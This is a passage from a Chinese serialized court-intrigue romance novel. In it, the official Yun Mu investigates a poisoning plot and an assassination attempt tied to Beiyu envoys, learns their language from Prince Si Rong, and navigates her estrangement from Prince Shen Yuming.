文竹站的位置极好,周围有树干可倚,距离沈聿明的院子也不算太远,还能把沈聿明在做之事收入眼中。 云暮从地上跳了一块还算圆润的石头,上下抛着,眼睛虽在沈聿明身上,但手总能精准地抓到石头。 不多时,文竹捧着一碗热气腾腾的解酒汤来了。 云暮走到院门前,沈聿明心有所感似的抬起头,正要转身,一颗石头击在了他的后脖,他再次趴回了桌上。 文竹搂着沈聿明,避开脚下的酒坛,一步一步往房中挪去。院中烛火被风吹熄了好几盏,光线骤然变暗,他一脚踩到几粒未被清走的碎石。 就在两人即将摔倒之时,云暮忽然出现,将不省人事的沈聿明拉到她怀中,还顺带拉住了文竹。 文竹道了声谢,就要接过沈聿明。 云暮避开他的手,“他交给我,你去拿解酒汤。” 文竹收回手,并暗中狠掐了沈聿明一把,竟真的把人掐醒了。临走前,他心想:王爷,属下能帮的就是这些了。 沈聿明闷哼了一声,人还未完全清醒,就从一身酒气中闻到了熟悉的味道。 第一百五十九章找师父 直到出了王府,云暮才擦去了挂在眼角的那几滴眼泪。 回想沈聿明的懊悔,她心里的愧色就荡然无存,她再不演一出戏,今夜就真得留宿王府了。 在心里把沈聿明祖上十八代都骂了一通,云暮还是没能解气,又抬脚踹了好几下王府的围墙。随后避开巡街的金吾卫,悄无声息地往鬼市的方向去了。 鬼市里,云暮依旧是乘着小舟往湖泊深处去。 “师父,在鬼市住带院子的房子,还建了一个中药园,整个京城也就只有您一个了。” 云暮这也瞅瞅,那也看看,一副没见过世面的样子,好没出息。 “你告假过来住几日。” 云暮的头快被自己摇晕了,“徒儿才不要,您这儿从早到晚都见不到天光,别说几日,便是一日都难捱。” 辛百草一脸关爱傻子的表情看着云暮,心想,都说京城风水养人,他怎么觉得自己年纪轻轻的乖徒到了京城都痴傻了。 他揪下一片绿叶,拿在手中把玩。若真终日不见天光,这些草药怎么能活得这般好,这般绿? 于是乎,辛百草苦口婆心的劝道:“乖徒儿,回江南吧,京城这地方太过邪乎,专门吸人灵气。大梁江山能延续这么多年,想来靠的就是这种歪门邪道。” 云暮诧异道:“师父,您不是从来不信牛鬼蛇神一说吗?” 辛百草被她的话哽住,“当为师什么都没说。” 方才带着云暮闲逛,辛百草没发觉她与平日有何不同,如今把人带到正厅后,他一眼就看到了她唇上的伤口。 “和好了?” 没头没尾的一句话,但云暮就是听懂了,她撑手挡住了唇,“没有。”又生硬地转移话题:“师父,寒虫一事查得如何了?” 先前她有要事在身,抽不出时间和司戎查清真相,只能请辛百草帮她查一查。 辛百草戏谑地扫了她一眼,没再追问,“只查到了几个驿使是北域安插的人,其余的大多他们花钱收买的,只让他们从冰室里取冰,旁的什么都不用做,就能得十两银子。” 云暮翻看着证据,从西北到京城,这一路不知要花费多少银子买冰,这么大的手笔他们怎么有脸和大梁哭穷的? 这一次,她定要借司戎之手,让北域狠狠地出回血! 辛百草拨了拨那只只留下躯壳的寒虫,“若不是他们太过心急,一连害死了这么多人,最后还敢对大理寺少卿下手,他们真是初生牛犊不怕虎。” 云暮合上证据:“若是尸体没有因寒虫变成那样徒儿不会发现摘星阁的异样,今日这么多国家的使臣都来了,若是死在了摘星阁,他们就有理由发难了。” 同时又庆幸她发现得早,补救得也还算及时,且今日的天气也和钦天监推测的那般狂风大作,还真是连老天爷都在帮她! 辛百草见她叹气,问道:“都查清了,再把矛头指向北域大皇子就是了。那群人如今也活得好好的,有什么可愁的?” 这几日达勇的消息都还如实地出现在案上,除了司戎一行人,他并未和其他的北域人有交集,要想扣罪名怕是不易,司戎已经想了好几日的法子,但都无用。 “说来容易,但大皇子的人并未踏进过大牢一步,哪怕听说了他们在万寿节后被砍头,也还是无动于衷。” 辛百草意味不明地说道;“他有没有联系不重要,重要的是有人看见他和和别的人见了,这就够了。” “对了,你和秦王到底是怎么回事?”他又把话题拐了回来。 云暮:…… 她不是才把话题引开吗,师父怎么这么爱打听这些有的没的? “没怎么,就是您看到的那样。世人不都如此吗,因利聚,也因利散。” 辛百草可不信的鬼话,抛了一瓶伤药给她:“你当师父好糊弄?不过早早断了也好。” 清凉的药膏让云暮清醒了不少,她问道:“师父从一开始就不认为我和他能走远?” 辛百草点头,又摇头。 “为师能看出来,他心里有你,只是这爱能维持多久,为师就说不好了,所以,你们现在分开,于你来说是好事。” 她这些年在京城无依无靠,坐到如今这个位置,养成了能自己解决绝不麻烦别人的性子,也就只有在他和季川面前还能放松几分,有些孩子气。 更何况那个沈聿明还要和几个兄弟争那张龙椅。 帝王无情,他的徒儿又是个高傲的,与其将来难过后悔,不如现在就断个干净,伤了旁人的心也总比让自己伤心的好。 云暮显然也想到了这一层,于是乎,崔苒讨好沈聿明的画面又再次浮现,她的眉宇间也染了几分郁色。 辛百草拍了拍她的头:“你也别想这么多,毕竟事情都尚未发生,也不用急着给人下定论。你今天劳累了一天,去歇一会儿吧,等到时间了为师便送你出去。” 困意再次来袭,云暮没再推拒,去了西厢房沉沉睡了过去。 寅时末,辛百草在门外边敲门边吓唬云暮,“徒儿,起床了,再不起来,你今日就出不去了。” 同一时刻,几个黑影从驿站匆匆跑出,早起的人在自家院子里看得一清二楚。 还能在布政坊看到俞白,是云暮没料到的,俞白一上来就好像他们是多年好友,这更是云没想到的。 “世子,稀客啊,您怎么来了?” 俞白理所当然地说道:“我爹不是说了让我在布政坊待够一个月吗?我不过才来几天,万寿节过了自然是要回来的。” 他眯起眼紧盯云暮:“云暮,你竟然嫌弃本世子?” 还算有些自知之明,云暮面不改色地放下文书,“世子说笑了,我高兴都来不及,怎会嫌弃?” 俞白倒是没有计较这事,他反倒问起昨天之事,“你知道昨天会有人在暗处对皇上和皇后娘娘动手?” 云暮:“世子慎言!这段时日我日日在城中排查,陛下的安危便是大梁的安危,我岂敢拿陛下和娘娘的性命来赌?” 第一百六十章黑衣人夜闯驿站 俞白才知他方才的话让人误会了,要是被有心之人听到,再参云暮一本,说他与杀手勾结,不管是借此立功还是要害他们的命,任何一条都能把云暮置于死地。 他头手并用,摇得比船桨还快,“本世子不是那个意思。” 云暮懒得同这个草包再说些什么,她下了逐客令:“中郎将正带人在演武场训练,世子若是没事,不如过去练练舞。” 在外面混,最需要的就是眼力见,更何况俞白还是混子中的翘楚,眼力见更是少不了。 当下即便再想和云暮学整队保护圣上的手段,但也知道此事急不来,反正他时间还有很多,大不了让他爹去皇上面前美言几句,把他放到金吾卫来当值,他总有一天能学会。 云暮揉了揉发酸的眼角。 上值前,她听人说起今早有黑衣人偷摸从驿馆的房里出来,看着身法和突袭帝后的人很像。 昨日中郎将带人赶到时,人已经跑了大半,剩下那些不过是用来拖住他们的弃子,他们知道的消息也不多。 她前脚才和师父说完,他们后脚竟真的从驿站出来,还被人发现了,他们还真是猖狂。 云暮:“来人,派个人去看看,都这么久了,派去找个妇人,人却迟迟不归。” “是。” 话音才落,另一道声音在院外响起:“大人,人带回来了。” 云暮坐直了身体:“进来。” 面前之人和今早说话之人一摸一样,云暮问道:“你今早亲眼看见有黑衣人从驿站出来?” 一路上虽被冯章耳提面命,但见了云暮,还是忍不住害怕,“云……云将军,千真万确,确实是民妇亲眼所见。” 云暮尖刺的目光落在她身上:“你又怎知他们就是昨日刺杀皇上和皇后的人?” 妇人答道:“昨日民妇因为摆摊卖早点,去迟了,只能在最外围待着,离那伙人极近,今早见了他们,才敢下结论。” 云暮将桌上的东西压好,率先走了出去:“带本将军去你家看看。” 这些年妇人早上卖早点,午间晚间就去酒楼洗洗盘子洗洗菜,赚点小钱,时间长了,也赚到了不少,于是就置办了这个宅子。虽然离东西二市有些远,但胜在便宜清净,又在驿馆附近,也不怕有人闹事。 妇人指着一扇紧闭的窗户道:“云将军,民妇每天都站在此处揉面,今早亦是,往日并无异常,谁想今日正好就遇到了他们。” 云暮看向紧闭的窗户,问她:“你可知里面住的是何人?他可有开过窗?” 夫人思考了片刻,摇头道:“不知道,但最近住在里面的,不都是从其他地方来的使臣吗?这扇窗是这么久以来,是第一次被人打开,所以民妇才会注意到。” 云暮手一挥:“去查。” “将军,那几个屋里住的是北域的人。” 怎么又是北域?抓来的人里并无北域人的特征,她也就没往他们身上想。 “那个屋子住的是谁?” “回将军,住的是北域二皇子的手下,名叫子胥。” 子胥?她记得司戎说过,此人是他父皇的人,北域的国主到底想做什么? 如果寒虫一事也有他的手笔,她就得重新审视和司戎的合作关系了。 司戎二对一,一个是北域的国主,一个是王后生的长子,他哪里有胜算?但就这么放弃,她又不甘。 梁文帝修道无度,花钱如流水,再这样下去,军饷都要克扣,若就这样放任北域短缺贡品,等北域人筹够了打仗需要的粮草,大梁边疆的百姓就要受苦了。 太子和梁文帝一样,一心只想手足相残,坐稳龙椅想宝座,丝毫不关心黎民生死,有这样的国君在,大梁何愁不亡国? 但云暮有私心,她以后想去游历大梁,见一见那些没见过的景色,所以,她不想打仗。 “把人带回去,细、细、审、问。” 妇人误以为此话说她,忙可跪下磕头求饶:“云将军饶命,民妇所言句句属实,绝不敢欺瞒大人!” 云暮斜了她一眼,“要审的不是你,怕什么?你把这事说出来了,难免他们会来杀你灭口,把你关在牢中也是为了保证你还活着。” 妇人只高兴了一瞬,脸很快就又垮下:“大人,民妇的家人该如何是好?”她不在,那些人定会杀了她的家人泄愤,她现在只恨自己多嘴,为了多赚些钱,竟把此事说出。 云暮:“舍不得就和你一道去牢房吧。” 妇人怎会愿意,当下就拒绝了:“将军,使不得啊,使不得啊,牢房那种地方阴气森森地,怎么能住人呢?。” 云暮勾起一个阴森森的笑容,“是嘛,本将军倒是觉得牢房不错,心情不好时进去睡上一晚,第二天就好全了,比神医都管用。” 她没说一句,妇人的脸就白一圈。 云暮又不上一句:“本将军仇家不少,你若是不怕死,本将军倒是可以让你们借住在我的一座宅子里。 但先声明一点,你们若是因此没命,此事与本将军无关。” 这话一出,妇人满脑子都是被灭门的惨象,连忙应了住牢里的提议:“云将军,我们愿意去睡牢房。” 早这样不就好了,她那里还用恐吓? 云暮好心地把人送去了刑部的大狱,不是诏狱没有空闲的牢房,实在是怕他们这家人被吓疯,不能给他们提供线索。 遇刺一事,梁文帝命云暮无论如何都要查出凶手,还需日日都要向他汇报,等事情忙得差不多时,云暮拿着文书就要进宫。 还没走出布政坊,徐文就来了,“大人,听说皇上……” 云暮眉头拧成一团:“此事千真万确?” 徐文举手发誓:“千真万确,属下昨日一直守在客栈外,宫门落钥之前,一辆马车悄悄进了宫,今儿一早又送回来的。 那人带着帷帽,属下没看清,但回来后属下潜进客栈,发现嘉禾公主的房中无人。 于是属下特意开了一扇窗,又在对面一直盯着,今早才确认那人就是嘉禾公主。” 第一百六十一章诏狱遇故人 云暮暗道了一声难怪,昨天的字条上分明让她无用茶点饭食,但梁文帝不过只问了一句,她拒绝后也没有勉强。 “以后又有热闹看了。” 贵妃死后,四妃无首,梁文帝晋贤妃为贵妃,封号为昭。 昭贵妃的父兄皆是武将,也曾立了不少战功,但她从不仗着父兄的功劳在宫中肆意妄为。这么多年了,昭贵妃膝下也只有一女,对梁文帝来说,并无威胁。 可这也只是表面上。 从云暮掌握的情报来看,宫中不少事都有她的身影,但每次都很巧妙地洗脱嫌疑。 这样的人,比贵妃要难缠数倍。 万寿节才过没几天,使臣便要折返。临走前,东胡的使臣把嘉禾公主留了下来,美其名曰让梁文帝给公主择一良婿,两国再结秦晋之好。 包括云暮在内的所有人都以为嘉禾公主要入宫为妃时,梁文帝却在宫外给她赐了一座宅子,允其自由择婿。 好巧不巧,嘉禾公主的宅邸正和云府毗邻。 云暮只觉得心烦。两家临近,探子日夜监视,每日回家总觉得有眼睛在盯着她。但同时也在庆幸她和沈聿明已经不再来往,否则他们的关系迟早会暴露。 盯了好几日,也没有发现她和人有来往,每日不是逗鸟便是带着丫鬟在宅子里闲逛,无趣得很。 这天饭后,云暮坐在榻上正看着供词,俞白又溜达进来了,手里还拿着两个金黄香甜的不知名东西。 云暮动了动鼻子,好奇问道:“这是何物?” 俞白得意地晃了晃头,“原来你也会不认识的东西啊。” 云暮白了他一眼:“我是人,不是大罗神仙。” 俞白还拿着东西不放,他道:“我可以告诉你这是何物,但你也得回答我一个问题。” 怕云暮拒绝,他话语不停,接着道:“此物名唤番薯,是从南洋那边来的,藤茎皆可食。” 云暮戳了戳番薯的外皮:“你确定此物无毒?” 俞白当即咬了一口,“这是我舅舅从南边派人送来的,我娘特意腾出块地拿来种番薯,今儿才挖出来,此刻想必已经送到勤政殿去了。 我和你交个底,同样是一亩地,稻谷只能产三百斤谷子,但番薯却能产五百斤。” 云暮腾的一下站起身,她克制着激动问道:“此话当真?” 若是真的,大梁的百姓便可不用再挨饿了。 俞白脸上的笑意更深了,“云将军,自然是真的,你若不信,我可带你去侯府开开眼。怎么样,番薯换你一个问题的答案,不亏吧?” 但云暮并未被喜悦冲昏头脑,她道:“问吧,能不能答就说不定了。” 俞白把番薯递给他,见云暮咬了一口,他才开口:“你那个姘头怎么不来了?” 番薯堵在云暮的嗓子眼,吞不下去,吐不出来,脸都涨红了。俞白被他的反应吓了一跳,忙给他倒了杯茶。 云暮顾不得茶是刚沏不久,还在冒着热气,端起杯子抿了好几口,才终于把番薯压了下去。 她没好气地说道:“我方才若是被你给的番薯噎死,做鬼都不会放过你。” 俞白低声嘟囔:“我也没想到你的反应会这么大啊,所以他最近怎么都不来找你了?” 那天晚上过后,沈聿明再也没来找过她,见了面也是淡淡的,两人确实如云暮先前说的那样,桥归桥,路归路。 云暮不耐烦道:“你也说了是姘头,腻了就换,不行吗?” 她话音刚落,冯章期期艾艾的声音响起:“大人,王爷来了。” 云暮身体一僵,突然有些心虚,不知那句话有没有被沈聿明听了去。但转念一想,他们什么关系都没有,有什么好心虚的? 去迎沈聿明之时,她还抽空瞪了俞白一眼,都怪他,好端端的,问这个做什么。 “下官见过王爷。” 沈聿明的脸上看不出悲喜,语气也还是一样的冷淡,“免礼,本王奉旨来请世子进宫。” “啊?我?”俞白不可置信地指着自己。 沈聿明点了点头,率先走了出去:“走吧,别让皇上等太久。” 俞白讷讷地点头,往前走了几步,又折回来对云暮说道:“这是我娘特意让府中人给咱俩送来的,你记得把它吃完,不许丢了。” 云暮挥了挥手,有气无力道:“婆婆妈妈的,我知道了,等会儿就吃。” 俞白已经走出去了好几步,又扭头大声道:“趁热吃啊,凉了就不好吃了。” 沈聿明呵了一声,“先前听说世子被侯爷押着来布政坊时,宁死不屈,这才过了多久,你和云暮的关系就变得这么好了。” 俞白心大,没听出对方语气里的嘲讽,他笑道:“王爷说笑了,我不过是喜欢交友罢了。别看我和平日里和谁都能称兄道弟,但他们不过是看在我爹的面子才敬我几分。” “但云暮不同,他不管对谁都是冷着张脸,在这里比和那些人喝酒跑马有意思多了。” 而另一边的云暮,此刻正冷着脸吃着热乎的番薯。皇上忽然召俞白进宫,应是因为番薯。不过是传句话的事,黄如海和吕良谁来不行,怎么偏偏来的是沈聿明。 云暮想,他是不是知道俞白在布政坊才揽下这个活?但一想到沈聿明的神情,她又把这个可猜测抛到脑后。 云暮将最后一口番薯塞进嘴里,又拿起供词,又不是什么非查不可的命案,想不通她不想不就行了。 达勇在诏狱关了好几天,毕竟还是使臣,云暮只许他们上些不痛不痒的小刑。他不交代出那伙黑衣人的下落也就罢了,还不知死活地挑衅她的手下。 徐文来问过几次,要不要动大刑,但都被云暮回绝了,今天还给他安排了一间周围都是北域人的牢房。 他乡遇故知,尤其是在诏狱,岂不是更感人。 当晚,达勇隔壁的牢房又住进了一个看不清样貌的人。 夜深人静,金吾卫昏昏欲睡,达勇悄悄移到木门边上,轻轻敲了两下木头。 “醒醒。” 第一百六十二章偷听 脚踩在稻杆上,发出阵阵声响。达勇看着隔壁那个鼾声连天的人,似乎不是很放心,又过去拿稻杆戳了他两下。 见人不耐烦地拍了拍,他才过去和同伴低声说话,却不知隔壁的人在背身过去的同时,还睁开了眼。 云暮一边打着鼾,一边竖着耳朵听那边的动静,断断续续地听到了不少,但问来问去都是关于寒虫之事。 达勇把人骂了一定,但对黑衣人是一句话都没有提。 她并不着急,反而是有一下没一下地拨弄着身下的稻杆。最后那人还是没忍住,终于问出了云暮最想听到的话。 “听说你和一伙黑衣人在密谋取了大梁皇帝的狗命,能不能让他们把我们救出去?” 云暮的鼾声小了几分,同时又闭上了双眼,睡得四仰八叉。 几根稻杆戳着她的手臂,不疼,但烦人。云暮强忍着拧断达勇的手的想法,忽然伸手挥了几下,嘴里结结巴巴地呢喃了几句。 海永汲用北域话说道:“我们说的是方言,他不过就是一个犯了事的大梁人,怎么?听得懂?” 云暮心道:“我还真能听懂。” 审问小喽啰的事她都交给手底下的人去做,俞白省心了不少,沈聿明也不在,她闲来无事时,便把司戎邀出来,让对方教她北域话。 云暮学得快,短短几日就能和司戎用北域的话来交流。 只要说的不是太快,她基本上都能听出对方说的什么,所以今夜达勇和那人的对话,也都被她听得清清楚楚。 废话说了一堆,很快达勇就闭口不语。云暮边打鼾边想着如何和达勇对峙。 从他们说的一堆废话里,云暮提出了几个关键的信息。 一是黑衣人并非大皇子的人,那天出现在他房内实属意外。二是他也不知他们的下落。他们只说了合作,但具体的时间和事宜都没有说清,他就被人但带到了诏狱。 云暮不免失望,隔壁的声音越来越小,整个牢房又安静了下来做戏要做全套,云暮当晚就睡在诏狱,第二天起来,心情格外好。 被金吾卫从牢房里“提溜”出来不久,哀叫声不断,一个奄奄一息很快就被扔回牢房,把达勇吓了一跳。 他不停地拍着门,叽里呱啦地说着话,大概的意思是他什么都不知,让人去找司戎把他接回去。 但在场的人除了云暮,其他的人都没听懂。 几个金吾卫看了云暮一眼,等着他的吩咐。 云暮说道:“找一个能听得懂的过来,若是有人来赎他,拿了赎金放他回去就行。” 与其把人关在这里,不如放出去给她找到黑衣人的下落。 驿站的使者陆陆续续都走了,但北域因被卷入刺客信条杀害帝后一事,暂时不能离开大梁。 司戎仍气定神闲地喝着茶,丝毫不管被抓进大牢的手下。 他不语,云暮也不说话,只低头翻着那本教人如何学北域话的书。 驿站和嘉禾公主的宅邸不同。 有人带头在驿站闹事的事情发生后,云暮就革了几个人的职,又派她的亲信进来,只为了方便监视他们。 “云将军,这奶茶是真不错,你再试试?” 云暮看着奶茶,坚定地拒绝。奶茶刚上来时,她喝了一口,那味道直冲天灵盖,要不是顾及司戎还早在,她就就要吐出来了。 咸中带甜,还在里面加了不少东西,旁边甚至还放了一碟卤牛肉,云暮是真的喝不惯。 被迫想起那个味道,云暮叫人给她添了壶茶,又在心里比较了一番,发现还是清茶好喝。 她冷不丁一句:“二皇子今日去把达勇接回来吧。” 司戎:“云将军问到想要的答案了?” 云暮摇头:“没有,只是一家之言,还不能给使臣定罪,依据大梁律法,只能关三天。” 司戎捧着茶杯笑出声,“孤倒是没想到你还会照大梁律法行事。” 云暮义正言辞道:“本将军乃大梁官员,又掌诏狱,自然要以身作则。” 司戎没有把他打听来的事抖出,只忍笑点头:“知晓了。” 见他叫人把东西撤下,云暮合上了书,“二皇子,我有一事不明,还望你能指点一二。” 司戎:“云将军请问。” “据我所知,你们北域有自己的方言,诏狱里的那个刺客头子海永汲,还有你带来的这几人,大梁官话都说得不错,你们还要学大梁官话吗?” 沉默。 还是沉默。 云暮见他面色不对,开口道:“二皇子不愿说也不妨事,是我冒昧了。” 司戎摇摇头,“不是,只是孤没想好该怎么和你说。” 这其中还有隐情?云暮不免好奇。 司戎飞速道:“因为他们无时不在想着把大梁变成北域的国土。大梁人多,说北域话不现实,于是我们只能学大梁官话。” 云暮没想到他这么直白地就说了出来。 司戎被他的反应逗笑了,“这是真话。” 大梁刚建朝时,周围的边境小国想趁着朝局不稳,从大梁撕下一块肉。梁太祖一路打杀才夺来的皇位,怎会惧怕他们? 举国筹钱筹粮,凑够了军饷,不仅把北域、东胡等国打跑,还逼着他们签了好几条合约,他们于是就恨上了大梁。 东胡原不叫东胡,但为了记得大梁给的耻辱,不惜把国名改成大梁。 “只要有朝一日得了机会,北域便会对大梁发难,或许还会和东胡联手也说不定。” 云暮不解:“二皇子和我说这些,不怕我和皇上告状?” 司戎不以为意:“这也不是什么秘密,大梁地处中原,粮草充足,试问谁不想要收入囊中?” 云暮:“二皇子也想吗?” 司戎点了点头:“云将军没去过漠北吧,黄沙遍地,什么都种不出来。北域虽土地贫瘠,但好歹能种出点东西。” “除了养活人,我们还要养活牛羊,用以上贡大梁。这么多年,北域已经找到了平衡这两件事的方法。” “北域的人好不容易才找到的活路,孤不想让他们毁了。” 第一百六十三章 出宫 城北禁卫军的演武场上。 “王爷,不打了,不打了,再打下去,下官这双手就要废了。” 吕平安一手握着长枪退到演武场边缘,另一只手则抓着栏杆,只要沈聿明手中的剑再挥一下,他就从这儿跳下去认输。 沈聿明还没打痛快,他看向场下围观的的禁卫军道:“你们几个人一起上来,陪本王过两招。” 原本还犹豫的人有些跃跃欲试,他们压着兴奋问道:“王爷,您若伤着碰着,属下难辞其咎啊。” 沈聿明:“受伤也是本王技不如人,与你们无关,你们只管打就是了。” 有了他的话,这些士兵也都放开了手脚,挑了趁手的兵器,三四个人一起上了演武场。 这几人都是镇北侯的旧部,打架杀人的手法都与那些绣花枕头不同。 沈聿明被他们围在中间,面上不见慌张。五人在台上有来有往过了几十招,沈聿明还被他们破了好几招。 “好,继续。” 沈聿明兴奋地喊了一声,话才出口,他就已经带着剑砍了上去,把他们吓得待在了原地。 虽不过只有几息,但还是被沈聿明发现的破绽。他抓住长枪,咬紧牙关,费了好一通力气才把人给甩了出去,连带着剩下的那几个也一并倒在了地上。 沈聿明靠在栏杆上,手背在身后捏紧剑柄,不让他们看出他的双手在发抖。 俞白前脚捧着番薯去见云暮,他后脚就跟着到了,没让人通报,就这么站在屋外把二人说的话听得一清二楚。 他忍着怒火把俞白送到宫门后,转身就来了这里,只想痛痛快快打一架,发泄心头的怒火。 他们认输后,沈聿明也和他们一样靠着栏杆坐下,大口往嘴里灌着水,水顺着嘴角溢出,便拿衣袖随意一擦。 没了媳妇的男人,总是格外的糙,就连平日最引起为傲的脸都懒得捯饬。 才消了的郁气在听到文竹的话后又重新积在心头。 “云大人下午去见了北域二皇子,两人一同喝茶……” 沈聿明自虐似的把两人相处的经过从头到尾地听了一遍,又开始自我安慰。云暮身边觊觎她的人太多,他已经习惯了这样。 与此同时的驿站里,云暮正在辨别司戎话里的真假,没有放过他脸上的任何一个表情,但遗憾的是,她什么都没有看出。 要么这是真心话,要么是司戎太会伪装。 她和司戎相识也才半个多月,也只比陌生人好上一些,云暮也拿捏不准哪个才是他真实的想法。 司戎倒也没有在意。北域才给大梁下了毒,害死了这么多人,云暮若是这么轻易就信了他的话,他才是那个要重新考虑是否和对方合作的那位。 该说的都说完了,云暮也没有急着要走,她不知道何时会抓到黑衣人,可能就在这两日,但也有可能还要花上一点时间。 时间紧迫,每有空闲她就会拿着书学北域话,除此之外,其余诸国的的话她也都慢慢在学。 她自小就不喜欢被束缚,只要梁文帝一死,她就立马收拾包袱回江南。 沈聿明登基,于她倒是无碍。 可太子登基,第一个要杀的约莫就是她了,只要他点头,多少罪名都会扣到她头上,与其留在京中勾心斗角,不若隐姓埋名在大江南北四下游玩。 这些年她暗中在江南置办了几间铺子,足够她后半辈子衣食无忧。 她把一张写密密麻麻的宣纸摆在司戎面前,“二皇子,这些字是什么意思,又该如何……” 云暮一开始还能分清,但这些字的发音都太过相似,她渐渐地有些跟不上,于是只能用最笨是法子记。 司戎每念一个字,她便在对应的字旁边写上一个几个字,司戎看后欲言又止,但他还是什么都没说。 最后,云暮心满意足地抱着书和宣纸回了府。 “大人,有你的信。” 空白的信封,捏起来毫无分量,云暮掂了掂,还是没当着安叔的拆开。 “知道是谁送来的吗?” 安叔仔细回想了一下那人的相貌,又有些不确定地说道:“面白无须,看着像是宫里的公公。” 云暮脑海里浮现出吕良的脸,忽然说了一句:“无用茶水饭食。” “大人,你说什么?” 云暮没答,当即撕了那封信。 “皇上今夜欲出宫,去向不明。” 梁文帝几次三番偷摸出宫,都来了云府,谁知他今夜会不会来。他若还敢像之前那样随意进她的卧房,那就等着被弓箭射成刺猬,最后在落得个尸首分离的下场。 云暮沉着声吩咐:“今夜多派人巡逻,只要听到一点动静,不管是什么都要上前查看。今夜辛苦些,巡得勤点,多赏半个月的例银。” 安叔没有多问,甚至没有多看那封信一眼,便领命退下了。 方才还视若珍宝的东西如今被随意放在桌上云暮全然不理会,她走出去没一会儿,一声声布谷鸟的鸟叫声在京城传遍。 几个打扮成寻常男子的金吾卫都站在云府的后院。 云暮对隔壁的公主府抬了抬下巴:“今夜再替我多注意公主府的情况,记住,今夜就是一只猫,你们也得去看看。” “是。” “如果有什么可疑之处,必须要报给我。” 金吾卫应了声“是”后,直直地站在了云暮的后院里,只等天色渐黑,他们就潜进隔壁的房子里。虽不明白云暮为何这么突然把他们喊过来,但他们也只当是又听到了什么风声。 酉时中刻,宫门已经落钥,但天色还不算太晚,云暮赐了茶,想到他们还未用晚膳,就急忙忙地来了,云暮还让厨房准备了一大桌子的菜。 按照前几次梁文帝出现过的时间来看,今夜他也来不了这么早。 所有人正吃饭间,云暮忽然开口:“今夜的当值也要有些眼力见,让你们事事都要观察,但也不是让你们什么人都抓。” “是。” 天色完全暗下之后,金吾卫掠过树叶和房顶,最后躲在了隐处观察。 第一百六十四章 亲上加亲 第二日一早,云暮罕见地早早就到了宫里,昨日给她送信的人敛目收袖,好似事情不是他做的。 云暮借口给梁文帝煎药,把吕良叫到了小厨房前。云暮颐指气使地让吕良做这做那,跑上跑下,两人一得了机会便开始一问一答。 “去了哪?” 吕良答道:“不知,昨夜并非奴才当值。” 云暮又问了好几个问题,但吕良都是道不知,“昨夜皇上只让奴婢守在门外,不管是谁来了,全都要挡回去。过了两个时辰,门才从里边打开。” “奴婢偷偷进勤政殿看过,当时房中无人,就连窗户也关得好好的,人就像凭空消失了。” 云暮咀嚼着凭空消失四个字,心里隐隐有了猜测,便挥手让吕良先回去当差。 她今早出门匆忙,还没来得及问话。 以暗一的身手,带着梁文帝避开这些手无寸铁的宫人,悄无声息从勤政殿出来,不是什么难事。 但梁文帝身边还跟着一个堪比大佛的黄如海,怎么想都不可能。 人既不是正大光明的出宫,还凭空消失,那便只有一种可能,勤政殿外有通向别处的地下通道。 昨夜他并未来云府,再从他这几日的情况来看,去的应当是嘉禾公主的府上。 既对对方有意,又为何把她放在外头,允她自择夫婿?还是梁文帝最近喜欢上了君夺臣妻的戏码? 云暮心里没由来的恶心,往药里又丢了几颗黄连,又闷了好一会儿才倒出放凉。 药一入喉,梁文帝的眉心拧成了一条线,“今儿的药好像比平日里的要苦?” 云暮坦然说道:“太医院换药方了,臣派吕良去问了,太医说皇上近来燥热目痛,往里头加了两片黄连。” 梁文帝隐约想起太医确实说过诸如此类的话,只能屏着呼吸把黑乎乎的药汁全喝了。 就算漱了口,苦味依旧在嘴里蔓延,梁文帝这几日沉溺在温柔乡中,打坐也静不下心,见云暮在桌前分奏折,他忽然问道:“云卿,你说朕应该把嘉禾公主许给朕的哪个儿子好?” 云暮的手一顿,继而又拿起一本奏折,“回皇上,臣不敢妄议各位殿下的婚事。” 梁文帝按住奏折,“你说,朕要是把她许给明熹如何?” 不过一句话,便让云暮心里乱了分寸,但多年隐忍,已经让她做到面对任何事都面不改色。 她抬起眸,正要开口,黄如海进来通报:“皇上,太子和秦王二位殿下到了。” 她最近是走了什么霉运,不是当着沈聿明的面说他是被自己抛弃的姘头,便是准备说他坏话时被人抓包。 今日把他们二人叫来是为了秋闱,云暮垂下头;“皇上,臣先告退了。” 没听到答案的梁文帝怎肯放他离开,“留下,没有什么是你不能听的。” 云暮在心里暗骂了几声。 沈聿明才刚进殿,就注意到站在梁文帝身侧的云暮,他隐晦地收回目光,面不改色地跟着太子行了一礼。 梁文帝的手虚虚一抬:“不用行这些虚礼,黄如海,赐座。” 两张圆凳摆在殿中,沈聿明坐下后才发现他那张正对着云暮,见云暮往中间挪了一步,他的心情更差了。 梁文帝先是看向了太子,“你年岁不小了,莫说太子妃,府中更是连一个通房度没有,朕赐你一个娇娥如何?” 娇娥是谁,在座的几人都心知肚明,云暮也很好奇太子会如何推拒。 太子平日不会轻易拂旁人的面,但这一次却出乎了他们的意料,太子竟当众拒绝了。 “父皇,儿臣已有心悦之人,原想秋闱过后再同您和母后商议……” 梁文帝有些意外,挑眉问道:“是谁家的姑娘,此前从未听你提起过。” 云暮手中握着不少情报,但从来没听说太子私下和哪家姑娘见过,她也好奇地望向太子。 只见太子隐去面上的欣喜,忐忑跪下:“父皇既问,儿臣自然没有隐瞒的道理,但求父皇不要降罪于她。” 这话更是吊足了在场之人的胃口,梁文帝笑道:“到底是谁家的姑娘?竟让你如此袒护,你只管说就是。” 云暮的脑子里已经闪过几个人的身影,国公、太师、丞相……各府的千金。 但出乎她意料的是,太子说了一个他们从未听过的名字。 又听见他说:“她虽是小门小户家的女儿,但儿臣心里就认定是她了,还请父皇应允。” 七品京官的女儿,救了太子一命,得了他的青睐,和话本子里才子佳人的故事倒是有几分相似。 云暮往后退了一步,双目却是不离太子,试图在他脸上找到一丝破绽。 太子野心勃勃,太子的名头冠在他头上二十余年,如今梁文帝还身强体健,身旁又有年龄相仿的兄弟对皇位虎视眈眈,他娶一个毫无助力的妻子,无异于自断羽翼, 太子和她是一类人,绝不可能为了小情小爱放弃手中的权力。 梁文帝显然也不同意这桩婚事,“此女家境身份太过普通,绝不可能成为太子妃,且不说旁人如何看,皇后那里你要如何交代?” 皇后一直属意崔家的女儿做太子妃,她们和太子是表兄妹的关系,亲上加亲。 太子没相中崔苒,她又换了旁的人,就连五服之外的表亲都找了来,几次三番为他们制造良机,但太子都只是把她们当成妹妹对待。 太子沉默了半晌,抬起头坚定道:“母后那边儿臣会尽力说服。” 后面他们再说什么,云暮已经听不清了,她的注意力都放在太子腰间的荷包上。 